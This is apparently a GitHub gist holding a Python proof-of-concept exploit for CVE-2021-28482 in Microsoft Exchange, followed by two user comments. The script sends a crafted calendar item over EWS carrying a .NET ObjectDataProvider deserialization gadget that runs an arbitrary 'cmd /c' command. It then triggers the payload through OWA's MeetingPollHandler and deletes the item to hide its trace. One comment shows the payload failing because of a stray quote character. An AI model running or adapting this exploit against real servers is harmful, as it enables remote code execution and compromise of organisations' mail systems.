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PoC of CVE-2021-28482
import requests
import time
import sys
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
from urllib import quote_plus
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = ""
username = "john"
pwd = ""
cmd = "mspaint.exe"
def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "&lt;")
_str = _str.replace(">", "&gt;")
_str = _str.replace("\"", "&quot;")
return _str
payload2 = """
<ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC z:Id="1" z:Size="1"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC>
<Key z:Id="2">ahihi</Key>
<Value z:Id="3"
xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions">
<ChangedProperties xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel"
xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.PropertyBags">
<b:propertyValues z:Size="1"
xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<c:KeyValueOfstringanyType>
<c:Key>asdasdasdasdasd</c:Key>
<c:Value">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
xmlns:c="http://www.w3.org/2001/XMLSchema"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"
>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
xmlns:c="http://www.w3.org/2001/XMLSchema"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"
>
<ExpandedElement z:Id="ref1" >
<__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<b:anyType i:type="c:string">cmd</b:anyType>
<b:anyType i:type="c:string">/c %s</b:anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref="ref1"/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
</c:Value>
</c:KeyValueOfstringanyType>
</b:propertyValues>
</ChangedProperties>
<OriginalTypeAssembly z:Id="12" i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Microsoft.Exchange.Entities.DataModel, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</OriginalTypeAssembly>
<OriginalTypeName z:Id="14"
xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollParameters</OriginalTypeName>
</Value>
</KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC>
</ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC>""" % escape(
cmd)
payload2 = escape(payload2)
payload1 = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016" />
<t:TimeZoneContext>
<t:TimeZoneDefinition Name="(UTC-08:00) Pacific Time (US &amp;amp; Canada)" Id="Pacific Standard Time">
<t:Periods>
<t:Period Bias="P0DT8H0M0.0S" Name="Standard" Id="Std" />
<t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/1" />
<t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/2007" />
</t:Periods>
<t:TransitionsGroups>
<t:TransitionsGroup Id="0">
<t:RecurringDayTransition>
<t:To Kind="Period">Dlt/1</t:To>
<t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
<t:Month>4</t:Month>
<t:DayOfWeek>Sunday</t:DayOfWeek>
<t:Occurrence>1</t:Occurrence>
</t:RecurringDayTransition>
<t:RecurringDayTransition>
<t:To Kind="Period">Std</t:To>
<t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
<t:Month>10</t:Month>
<t:DayOfWeek>Sunday</t:DayOfWeek>
<t:Occurrence>-1</t:Occurrence>
</t:RecurringDayTransition>
</t:TransitionsGroup>
<t:TransitionsGroup Id="1">
<t:RecurringDayTransition>
<t:To Kind="Period">Dlt/2007</t:To>
<t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
<t:Month>3</t:Month>
<t:DayOfWeek>Sunday</t:DayOfWeek>
<t:Occurrence>2</t:Occurrence>
</t:RecurringDayTransition>
<t:RecurringDayTransition>
<t:To Kind="Period">Std</t:To>
<t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
<t:Month>11</t:Month>
<t:DayOfWeek>Sunday</t:DayOfWeek>
<t:Occurrence>1</t:Occurrence>
</t:RecurringDayTransition>
</t:TransitionsGroup>
</t:TransitionsGroups>
<t:Transitions>
<t:Transition>
<t:To Kind="Group">0</t:To>
</t:Transition>
<t:AbsoluteDateTransition>
<t:To Kind="Group">1</t:To>
<t:DateTime>2007-01-01T08:00:00.000Z</t:DateTime>
</t:AbsoluteDateTransition>
</t:Transitions>
</t:TimeZoneDefinition>
</t:TimeZoneContext>
</soap:Header>
<soap:Body>
<m:CreateItem SendMeetingInvitations="SendToAllAndSaveCopy">
<m:Items>
<t:CalendarItem>
<t:Subject>Weekly Update Meeting</t:Subject>
<t:ExtendedProperty>
<t:ExtendedFieldURI PropertySetId="11000e07-b51b-40d6-af21-caa85edab1d0"
PropertyName="MeetingPollProposeOptionsRequestsBlob" PropertyType="String" />
<t:Value>%s</t:Value>
</t:ExtendedProperty>
<t:Body BodyType="HTML">Come hear about how the Organized Observational Paradigm SkyNet project is coming along!</t:Body>
<t:ReminderMinutesBeforeStart>30</t:ReminderMinutesBeforeStart>
<t:Start>2021-04-22T06:45:32.868-08:00</t:Start>
<t:End>2021-04-22T06:55:32.868-08:00</t:End>
<t:Location>Contoso Main Gallery</t:Location>
<t:RequiredAttendees>
<t:Attendee>
<t:Mailbox>
<t:EmailAddress>Administrator@evil.corp</t:EmailAddress>
</t:Mailbox>
</t:Attendee>
<t:Attendee>
<t:Mailbox>
<t:EmailAddress>john@evil.corp</t:EmailAddress>
</t:Mailbox>
</t:Attendee>
<t:Attendee>
<t:Mailbox>
<t:EmailAddress>mart@evil.corp</t:EmailAddress>
</t:Mailbox>
</t:Attendee>
</t:RequiredAttendees>
<t:Recurrence>
<t:DailyRecurrence>
<t:Interval>1</t:Interval>
</t:DailyRecurrence>
<t:NumberedRecurrence>
<t:StartDate>2021-04-22T06:45:32.868-08:00</t:StartDate>
<t:NumberOfOccurrences>2</t:NumberOfOccurrences>
</t:NumberedRecurrence>
</t:Recurrence>
</t:CalendarItem>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
""" % payload2
res = requests.post("https://%s/ews/Exchange.asmx" % target,
data=payload1,
headers={
"Content-type": "text/xml; charset=utf-8",
},
verify=False,
auth=HttpNtlmAuth('%s' % (username), pwd))
if res.status_code != 200:
print("error 1")
exit()
ct = res.content
item_id = ct.split('<t:ItemId Id="')[1].split('"')[0]
change_key = ct.split('ChangeKey="')[1].split('"')[0]
print "Attacking target %s with user %s" % (target, username)
print "Sending command cmd.exe /c %s" % cmd
session = requests.Session()
header = {"Cookie": "mkt=en-US"}
data = {
"destination": "https://%s/owa" % target,
"flags": "",
"username": username,
"password": pwd
}
res = session.post("https://%s/owa/auth.owa" % target,
headers=header,
data=data,
verify=False)
# print(res.status_code)
# print(res.headers)
cookie_obj = requests.cookies.create_cookie(domain=target,
name="mkt",
value="en-US")
session.cookies.set_cookie(cookie_obj)
owa_canary = session.cookies.get_dict()['X-OWA-CANARY']
r1 = session.post(
"https://%s/owa/lang.owa" % target,
data=
"destination=%2Fowa%2F%3FbO%3D1&localeName=en-US&tzid=SE+Asia+Standard+Time&saveLanguageAndTimezone=1&X-OWA-CANARY="
+ owa_canary,
headers={"Content-Type": "application/x-www-form-urlencoded"},
verify=False,
allow_redirects=False)
r2 = session.get(
"https://%s/owa/MeetingPollHandler.ashx?PayloadType=ApproveProposedOptions&ItemId=OID.%s.2021/04/22&RequestId=123123123"
% (target, quote_plus(item_id)),
verify=False,
allow_redirects=False)
print "Attack successful!"
print "Cleaning up ..."
req_del = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016" />
<t:TimeZoneContext>
<t:TimeZoneDefinition Id="Pacific Standard Time" />
</t:TimeZoneContext>
</soap:Header>
<soap:Body>
<m:DeleteItem DeleteType="MoveToDeletedItems" SendMeetingCancellations="SendToAllAndSaveCopy">
<m:ItemIds>
<t:ItemId Id="%s" ChangeKey="%s" />
</m:ItemIds>
</m:DeleteItem>
</soap:Body>
</soap:Envelope>""" % (item_id, change_key)
res = requests.post("https://%s/ews/Exchange.asmx" % target,
data=req_del,
headers={
"Content-type": "text/xml; charset=utf-8",
},
verify=False,
auth=HttpNtlmAuth('%s' % (username), pwd))
@awanisht

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@awanisht awanisht commented May 18, 2021

hii am getting a deserialization error while trying to run this poc

https://docs.microsoft.com/dotnet/framework/wcf/diagnostics/tracing/System-ServiceModel-Diagnostics-ThrowingExceptionThrowing an exception./LM/W3SVC/2/ROOT/owa-4-132654082330327318System.Runtime.Serialization.SerializationException, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089There was an error deserializing the object of type System.Collections.Generic.Dictionary2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollParameters, Microsoft.Exchange.Entities.DataModel, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]. Name cannot begin with the '"' character, hexadecimal value 0x22. Line 7, position 124.</Message><StackTrace> at System.Runtime.Serialization.XmlObjectSerializer.ReadObjectHandleExceptions(XmlReaderDelegator reader, Boolean verifyObjectName, DataContractResolver dataContractResolver) at System.Runtime.Serialization.XmlObjectSerializer.ReadObject(XmlDictionaryReader reader) at Microsoft.Exchange.Entities.Serialization.EntitySerializer.Deserialize[T](Stream stream) at Microsoft.Exchange.Entities.Serialization.EntitySerializer.Deserialize[T](String serializedObject) at Microsoft.Exchange.Entities.Calendaring.MeetingPoll.MeetingPollProposeOptionsPayload.GetRequests(IStoreSession mailboxSession) at Microsoft.Exchange.Entities.Calendaring.MeetingPoll.MeetingPollProposeOptionsPayload.ProcessRequest(IMailboxSession mailboxSession) at Microsoft.Exchange.Clients.Owa2.Server.Web.MeetingPollHandler.ProcessRequest(HttpContext context) at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&amp;amp; completedSynchronously) at System.Web.HttpApplication.PipelineStepManager.ResumeSteps(Exception error) at System.Web.HttpApplication.BeginProcessRequestNotification(HttpContext context, AsyncCallback cb) at System.Web.HttpRuntime.ProcessRequestNotificationPrivate(IIS7WorkerRequest wr, HttpContext context) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) at System.Web.Hosting.UnsafeIISMethods.MgdIndicateCompletion(IntPtr pHandler, RequestNotificationStatus&amp;amp; notificationStatus) at System.Web.Hosting.UnsafeIISMethods.MgdIndicateCompletion(IntPtr pHandler, RequestNotificationStatus&amp;amp; notificationStatus) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) </StackTrace><ExceptionString>System.Runtime.Serialization.SerializationException: There was an error deserializing the object of type System.Collections.Generic.Dictionary2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollParameters, Microsoft.Exchange.Entities.DataModel, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]. Name cannot begin with the '"' character, hexadecimal value 0x22. Line 7, position 124. ---&gt; System.Xml.XmlException: Name cannot begin with the '"' character, hexadecimal value 0x22. Line 7, position 124.

any idea how i can resolve this?
i am running a exchange 2016 CU 19 with KB 5001402 installed.

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@Sicks3c Sicks3c commented Jun 26, 2021

Is this work even unauthenticated ?

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